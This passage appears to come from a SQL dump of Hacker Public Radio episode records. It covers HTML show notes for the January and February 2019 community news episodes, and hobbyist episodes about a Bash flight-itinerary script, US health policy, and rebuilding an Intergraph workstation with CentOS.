target=\"_blank\">hpr2734</a></strong>\n(2019-01-24) \"<em>Mashpodder</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2734#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2019-01-17:\n\"Coincidentally...\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2734#2\" target=\"_blank\">Comment 2</a>:\nMrX on 2019-01-20:\n\"Re Coincidentally...\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2737#comments\" target=\"_blank\">hpr2737</a></strong>\n(2019-01-29) \"<em>My Pioneer RT-707 Reel-to-Reel Tape Deck</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2737#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2019-01-29:\n\"Tape counter is functioning now\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2737#2\" target=\"_blank\">Comment 2</a>:\nBookewyrmm on 2019-01-29:\n\"ancient media\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2737#3\" target=\"_blank\">Comment 3</a>:\nJon Kulp on 2019-01-29:\n\"Victrola episode\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2737#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2019-01-29:\n\"Wow! What a beautiful tape deck!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2737#5\" target=\"_blank\">Comment 5</a>:\nJon Kulp on 2019-01-29:\n\"I want one!\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-January/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-January/thread.html</a>\n\n\n<h2>Any other business</h2>\n<ul>\n<li><p>Google+ is going away on April 2nd. Everything is going to be deleted so backup your files before then.</p></li>\n<li><p>Mad Sweeney wrote to inform us about <a href=\"https://dnsflagday.net/\" class=\"uri\">https://dnsflagday.net/</a> Some <em>“DNS software and service providers […] have agreed to coordinate removing accommodations for non-compliant DNS implementations from their software or services, on or around February 1st 2019”</em></p></li>\n</ul>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Over the period tags and/or summaries have been added to 11 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2761,'2019-03-04','HPR Community News for February 2019',4022,'HPR Volunteers talk about shows released and comments posted in February 2019','\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2740\" target=\"_blank\">2740</a></strong></td>\n    <td>Fri</td>\n    <td>2019-02-01</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2740\" target=\"_blank\">Pop!_OS 18.10 (quick) review</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=370\" target=\"_blank\">Yannick the french guy from Switzerland</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2741\" target=\"_blank\">2741</a></strong></td>\n    <td>Mon</td>\n    <td>2019-02-04</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2741\" target=\"_blank\">HPR Community News for January 2019</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2742\" target=\"_blank\">2742</a></strong></td>\n    <td>Tue</td>\n    <td>2019-02-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2742\" target=\"_blank\">SAP Hana Certification Directory</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2743\" target=\"_blank\">2743</a></strong></td>\n    <td>Wed</td>\n    <td>2019-02-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2743\" target=\"_blank\">Character build in the d20 system</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2744\" target=\"_blank\">2744</a></strong></td>\n    <td>Thu</td>\n    <td>2019-02-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2744\" target=\"_blank\">Yet Another Rambling Drive Into Work</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2745\" target=\"_blank\">2745</a></strong></td>\n    <td>Fri</td>\n    <td>2019-02-08</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2745\" target=\"_blank\">My YouTube Subscriptions #1</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2746\" target=\"_blank\">2746</a></strong></td>\n    <td>Mon</td>\n    <td>2019-02-11</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2746\" target=\"_blank\">My software part 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2747\" target=\"_blank\">2747</a></strong></td>\n    <td>Tue</td>\n    <td>2019-02-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2747\" target=\"_blank\">checking oil</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\" target=\"_blank\">brian</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2748\" target=\"_blank\">2748</a></strong></td>\n    <td>Wed</td>\n    <td>2019-02-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2748\" target=\"_blank\">Writing Web Game in Haskell - Special events</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2749\" target=\"_blank\">2749</a></strong></td>\n    <td>Thu</td>\n    <td>2019-02-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2749\" target=\"_blank\">Lostnbronx and Klaatu commentary from episode 2743</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2750\" target=\"_blank\">2750</a></strong></td>\n    <td>Fri</td>\n    <td>2019-02-15</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2750\" target=\"_blank\">Windmill is on the Fritz</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2751\" target=\"_blank\">2751</a></strong></td>\n    <td>Mon</td>\n    <td>2019-02-18</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2751\" target=\"_blank\">Battling with English - part 3</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2752\" target=\"_blank\">2752</a></strong></td>\n    <td>Tue</td>\n    <td>2019-02-19</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2752\" target=\"_blank\">XSV for fast CSV manipulations - Part 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2753\" target=\"_blank\">2753</a></strong></td>\n    <td>Wed</td>\n    <td>2019-02-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2753\" target=\"_blank\">Specific Settings In Storytelling</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2754\" target=\"_blank\">2754</a></strong></td>\n    <td>Thu</td>\n    <td>2019-02-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2754\" target=\"_blank\">Craigslist Scam Catch</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=372\" target=\"_blank\">Edward Miro / c1ph0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2755\" target=\"_blank\">2755</a></strong></td>\n    <td>Fri</td>\n    <td>2019-02-22</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2755\" target=\"_blank\">My YouTube Subscriptions #2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2756\" target=\"_blank\">2756</a></strong></td>\n    <td>Mon</td>\n    <td>2019-02-25</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2756\" target=\"_blank\">Bash Tips - 20</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2757\" target=\"_blank\">2757</a></strong></td>\n    <td>Tue</td>\n    <td>2019-02-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2757\" target=\"_blank\">How to DM</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2758\" target=\"_blank\">2758</a></strong></td>\n    <td>Wed</td>\n    <td>2019-02-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2758\" target=\"_blank\">Haskell - Data types and database actions</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2759\" target=\"_blank\">2759</a></strong></td>\n    <td>Thu</td>\n    <td>2019-02-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2759\" target=\"_blank\">Cleaning the Potentiometers on a Peavey Bandit 65</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 10 comments in total.</p>\n<p>There are 6 comments on\n5 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2672#comments\" target=\"_blank\">hpr2672</a></strong>\n(2018-10-30) \"<em>Porteus</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2672#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2019-02-26:\n\"Re: Test-driving Linux in computer stores\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2706#comments\" target=\"_blank\">hpr2706</a></strong>\n(2018-12-17) \"<em>Why I love the IBM AS/400 computer systems</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2706#4\" target=\"_blank\">Comment 4</a>:\nRob on 2019-02-27:\n\"hpr2706 - episode about AS/400\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2707#comments\" target=\"_blank\">hpr2707</a></strong>\n(2018-12-18) \"<em>Steganalysis 101</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=372\" target=\"_blank\">Edward Miro / c1ph0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2707#3\" target=\"_blank\">Comment 3</a>:\nrtsn on 2019-02-05:\n\"!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2708#comments\" target=\"_blank\">hpr2708</a></strong>\n(2018-12-19) \"<em>Ghostscript</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2708#1\" target=\"_blank\">Comment 1</a>:\nSteve on 2019-02-07:\n\"Just what I needed\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2737#comments\" target=\"_blank\">hpr2737</a></strong>\n(2019-01-29) \"<em>My Pioneer RT-707 Reel-to-Reel Tape Deck</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2737#6\" target=\"_blank\">Comment 6</a>:\nVulcanRidr on 2019-02-06:\n\"Excellent!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2737#7\" target=\"_blank\">Comment 7</a>:\nJon Kulp on 2019-02-06:\n\"the RT-909\"</li></ul><br/>\n</li></ul>\n<p>There are 4 comments on 4 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2741#comments\" target=\"_blank\">hpr2741</a></strong>\n(2019-02-04) \"<em>HPR Community News for January 2019</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2741#1\" target=\"_blank\">Comment 1</a>:\nBrian in Ohio on 2019-02-06:\n\"show notes\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2743#comments\" target=\"_blank\">hpr2743</a></strong>\n(2019-02-06) \"<em>Character build in the d20 system</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2743#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2019-02-06:\n\"Pleasure to listen to\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2754#comments\" target=\"_blank\">hpr2754</a></strong>\n(2019-02-21) \"<em>Craigslist Scam Catch</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=372\" target=\"_blank\">Edward Miro / c1ph0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2754#1\" target=\"_blank\">Comment 1</a>:\nklaatu on 2019-02-27:\n\"this episode\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2759#comments\" target=\"_blank\">hpr2759</a></strong>\n(2019-02-28) \"<em>Cleaning the Potentiometers on a Peavey Bandit 65</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2759#1\" target=\"_blank\">Comment 1</a>:\nNYbill on 2019-02-28:\n\"Stepping on toes!\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-February/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-February/thread.html</a>\n\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributors for sending in updates in the past month: <b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">windigo</a></b></p>\n<p>Over the period tags and/or summaries have been added to 24 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2466,'2018-01-15','ShareX is awesome',447,'ShareX, for all your screenshot needs and more','<p>Find it at <a href=\"https://getsharex.com/\" class=\"uri\">https://getsharex.com/</a></p>',79,0,0,'CC-BY-SA','Windows, Screenshot, documentation',0,0,1),
(2468,'2018-01-17','THE WELL',408,'I record a video with audio on my fathers well setup in the sticks','<p>I record a video with audio on my fathers well setup in the sticks</p>\r\n<p><a href=\"https://rmccurdy.com/scripts/videos/rmccurdy_com/THE_WELL.mp4\" class=\"uri\">https://rmccurdy.com/scripts/videos/rmccurdy_com/THE_WELL.mp4</a></p>',36,0,1,'CC-BY-SA','well, pump, troubleshooting',0,0,1),
(2469,'2018-01-18','A flight itinerary in Bash',1065,'Working out dates and times in a Bash script','<h1 id=\"a-flight-itinerary-in-bash\">A flight itinerary in Bash</h1>\r\n<p>My daughter flew out to New Zealand before Christmas 2017 to spend some time with her brother, who had been there with his girlfriend since November. I saw her flight itinerary from the airline, but had no idea of how the times related to time back home, so I wrote a little Bash script to calculate times in UTC (my local timezone).</p>\r\n<p>Both of my children have travelled a fair bit in the past few years. I like to keep track of where they are and how they are progressing through their journeys because otherwise I tend to worry. This one was a reasonably simple journey, two flights via Doha in Qatar, with not too long a wait between them. The overall journey was <em>long</em> of course.</p>\r\n<p>When my daughter flew out to Indonesia in 2015 (4 flights and a boat trip, over 38 hours travel time) I built a spreadsheet. Just whatever provides a good distraction!</p>\r\n<p>The rest of the notes, including details of the <code>date</code> command and the script I wrote can be found <a href=\"https://hackerpublicradio.org/eps/hpr2469/full_shownotes.html\">here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>GNU documentation for <a href=\"https://www.gnu.org/software/coreutils/manual/html_node/date-invocation.html#date-invocation\"><code>date</code></a> (You can also use <code>man date</code> or <code>info date</code> for the full details. I prefer the HTML version because I don\'t like the <code>info</code> tool very much).</li>\r\n<li>The <a href=\"https://www.gnu.org/software/bash/manual/bash.html\">GNU Bash Reference Manual</a></li>\r\n<li>Dann Wasko\'s <em>&quot;Linux in the Shell&quot;</em> episode <a href=\"https://hackerpublicradio.org/eps.php?id=1182\"><em>hpr1182 :: LiTS 023: Date</em></a>, which is full of useful information.</li>\r\n<li>Resources:\r\n<ul>\r\n<li>The script I wrote, called <a href=\"https://hackerpublicradio.org/eps/hpr2469/edi_akl\"><code>edi_akl</code></a> (named to denote the starting and ending airports).</li>\r\n</ul></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,date,ISO 8601,epoch',0,0,1),
(2470,'2018-01-19','Obamacare Update At The End Of 2017',798,'Where is US Health Care policy as we head into 2018?','<p>In 2017 Obamacare was the subject of a great deal of political jockeying, and yet by the end of the year almost nothing changed. So what happened, and why?</p>\r\n<ul>\r\n<li><a href=\"https://www.theguardian.com/us-news/2017/jun/26/koch-network-piggy-banks-closed-republicans-healthcare-tax-reform\" class=\"uri\">https://www.theguardian.com/us-news/2017/jun/26/koch-network-piggy-banks-closed-republicans-healthcare-tax-reform</a></li>\r\n<li><a href=\"https://www.foxbusiness.com/politics/2017/06/26/gop-donors-close-checkbooks-frustrated-with-lack-progress-on-taxes-health-care.html\" class=\"uri\">https://www.foxbusiness.com/politics/2017/06/26/gop-donors-close-checkbooks-frustrated-with-lack-progress-on-taxes-health-care.html</a></li>\r\n<li><a href=\"https://fortune.com/2017/12/21/obamacare-enrollment-surge-despite-trump/\" class=\"uri\">https://fortune.com/2017/12/21/obamacare-enrollment-surge-despite-trump/</a></li>\r\n<li><a href=\"https://www.washingtonpost.com/blogs/plum-line/wp/2017/12/27/republicans-failure-on-health-care-is-even-greater-than-they-realize/\" class=\"uri\">https://www.washingtonpost.com/blogs/plum-line/wp/2017/12/27/republicans-failure-on-health-care-is-even-greater-than-they-realize/</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=325\" class=\"uri\">https://www.palain.com/?page_id=325</a></li>\r\n</ul>\r\n',198,100,0,'CC-BY-SA','Health Insurance, Health Policy, Insurance Marketplace, Obamacare',0,0,1),
(2479,'2018-02-01','Intergraph workstation',1725,'My rebuild of my Intergraph workstation','<p>Been going through my old work servers.</p>\r\n<p>They typically run until I can\'t update them anymore and then sit not used until I have a bit of free time. So I have an old intergraph box in it that I new pentium 4 motherboard from about 8 years back. I had the receipt taped to the inside of the box. And the Expense statement from work. I had centos 6.0 on it try as it must It got no more updates and repros. It also has a weak PSU as I had to remove the DVD and graphics card to get to work.</p>\r\n<p>About intergraph:</p>\r\n<blockquote>\r\n<p>Intergraph Corporation is an American software development and services company. It provides enterprise engineering and geospatially powered software to businesses, governments, and organizations around the world. Intergraph operates through three divisions: Hexagon PPM, Hexagon Safety &amp; Infrastructure, and Hexagon Geospatial. The company\'s headquarters is in Huntsville, Alabama, USA. In 2008, Intergraph was one of the 100 largest software companies in the world. In 2010, Intergraph was acquired by Hexagon AB. Intergraph was founded in 1969 as M&amp;S Computing, Inc., by former IBM engineers who had been working with NASA and the U.S. Army in developing systems that would apply digital computing to real-time missile guidance. The company was later renamed to Intergraph Corporation in 1980. In 2000, Intergraph exited the hardware business and became purely a software company. On July 21, 2000, it sold its Intense3D graphics accelerator division to 3Dlabs, and its workstation and server division to Silicon Graphics. The companies incorporated SmartSketch, a drawing program used previously for the PenPoint OS and EO tablet computer. When Pen computing did not take off, SmartSketch was ported to the Windows and Macintosh platforms. <a href=\"https://www.cnet.com/news/intergraph-delivers-cheap-workstations/\" class=\"uri\">https://www.cnet.com/news/intergraph-delivers-cheap-workstations/</a></p>\r\n</blockquote>\r\n<p>The new TD-300 and TD-400 &quot;Personal Workstations&quot; offer 3D graphics capabilities equal to or below the prices of PCs configured as 3D workstations, the company said. The TD-300 and TD-400 Personal Workstations are available immediately, with prices starting at $5,495. <a href=\"https://www.intergraph.com/about_us/history_90s.aspx\" class=\"uri\">https://www.intergraph.com/about_us/history_90s.aspx</a></p>\r\n<p>So the box now has a Pentium 4 dual core in it which is 64 bit. This chip is 2004-2007. <a href=\"https://en.wikipedia.org/wiki/Pentium_4\" class=\"uri\">https://en.wikipedia.org/wiki/Pentium_4</a></p>\r\n<p>So I have the ubuntu 32 bit work. And Suse Enterprise 12, tumbleweed and leap on hyperV. I had my Transmeta box on Debian I386 32 bit. So I need a redhat flavor. Since its 64 bit I picked CentOS. <a href=\"https://www.centos.org/\" class=\"uri\">https://www.centos.org/</a></p>\r\n<p>What is CentOS?</p>\r\n<blockquote>\r\n<p>CentOS (/ˈsɛntɒs/, from Community Enterprise Operating System) is a Linux distribution that attempts to provide a free, enterprise-class, community-supported computing platform functionally compatible with its upstream source, Red Hat Enterprise Linux (RHEL). In January 2014, CentOS announced the official joining with Red Hat while staying independent from RHEL, under a new CentOS governing board. In July 2010, CentOS overtook Debian to become the most popular Linux distribution for web servers, with almost 30% of all Linux web servers using it. Debian retook the lead in January 2012.</p>\r\n<p>In January 2014, Red Hat announced that it would sponsor the CentOS project, &quot;helping to establish a platform well-suited to the needs of open source developers that integrate technologies in and around the operating system&quot;. As a result of these changes, ownership of CentOS trademarks was transferred to Red Hat, which now employs most of the CentOS head developers; however, they work as part of Red Hat\'s Open Source and Standards team, which operates separately from the Red Hat Enterprise Linux team. A new CentOS governing board was also established.</p>\r\n<p>CentOS developers use Red Hat\'s source code to create a final product very similar to RHEL. Red Hat\'s branding and logos are changed because Red Hat does not allow them to be redistributed. CentOS is available free of charge. Technical support is primarily provided by the community via official mailing lists, web forums, and chat rooms. CentOS version numbers for releases older than 7.0 have two parts, a major version and a minor version, which correspond to the major version and update set of Red Hat Enterprise Linux (RHEL) used to build a particular CentOS release. For example, CentOS 6.5 is built from the source packages of RHEL 6 update 5 (also known as RHEL version 6.5), which is a so-called &quot;point release&quot; of RHEL 6.</p>\r\n<p>Starting with version 7.0, CentOS version numbers also include a third part that indicates the monthstamp of the source code the release is based on. For example, version number 7.0-1406 still maps this CentOS release to the zeroth update set of RHEL 7, while &quot;1406&quot; indicates that the source code this release is based on dates from June 2014. Using the monthstamp allows installation images to be reissued for (as of July 2014) oncoming container and cloud releases, while maintaining a connection to the related base release version.</p>\r\n<p>Since mid-2006 and starting with RHEL version 4.4, which is formally known as Red Hat Enterprise Linux 4.0 update 4, Red Hat has adopted a version-naming convention identical to that used by CentOS (for example, RHEL 4.5 or RHEL 6.5). AltArch releases are released by the Alternative Architecture Special Interest Group (AltArch SIG) to supporThere are three primary CentOS repositories (also known as channels), containing software packages that make up the main CentOS distribution: base - contains packages that form CentOS point releases, and gets updated when the actual point release is formally made available in form of ISO images. updates - contains packages that serve as security, bugfix or enhancement updates, issued between the regular update sets for point releases. Bugfix and enhancement updates released this way are only those unsuitable to be released through the CentOS-Fasttrack repository described below. addons - provides packages required for building the packages that make up the main CentOS distribution, but are not provided by the upstream. The CentOS project provides several additional repositories that contain software packages not provided by the default base and updates repositories. Those repositories include the following: CentOS Extras - contains packages that provide additional functionality to CentOS without breaking its upstream compatibility or updating the base components. CentOSPlus - contains packages that actually upgrade certain base CentOS components, changing CentOS so that it is not exactly like the upstream provider\'s content. CentOS-Testing - serves as a proving ground for packages on their way to CentOSPlus and CentOS Extras. Offered packages may or may not replace core CentOS packages, and are not guaranteed to work properly. CentOS-Fasttrack - contains bugfix and enhancement updates issued from time to time, between the regular update sets for point releases. The packages released this way serve as close candidates for the inclusion into the next point release. This repository does not provide security updates, and does not contain packages unsuitable for uncertain inclusion into point releases. CR (Continuous Release) - makes generally available packages that will appear in the next point release of CentOS. The packages are made available on a testing and hotfix basis, until the actual point release is formally released in form of ISO images. debuginfo - contains packages with debugging symbols generated when the primary packages were built contrib - contains packages contributed by CentOS users that do not overlap with any of the core distribution packages Software Collections - provides versions of software newer than those provided by the base distribution, see above for more details</p>\r\n</blockquote>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/CentOS\" class=\"uri\">https://en.wikipedia.org/wiki/CentOS</a></li>\r\n<li><a href=\"https://wiki.centos.org/FrontPage\" class=\"uri\">https://wiki.centos.org/FrontPage</a></li>\r\n</ul>\r\n<p>The end of support on my box is currently 2024. During my setup I let the centos do something with LVM the drive had two WD 320GB disks. One was very hot so I moved it so it have some more air.</p>\r\n<p>LVM:</p>\r\n<blockquote>\r\n<p>In Linux, Logical Volume Manager (LVM) is a device mapper target that provides logical volume management for the Linux kernel. Most modern Linux distributions are LVM-aware to the point of being able to have their root file systems on a logical volume.</p>\r\n<p>Heinz Mauelshagen wrote the original LVM code in 1998, taking its primary design guidelines from the HP-UX\'s volume manager. LVM is used for the following purposes: Creating single 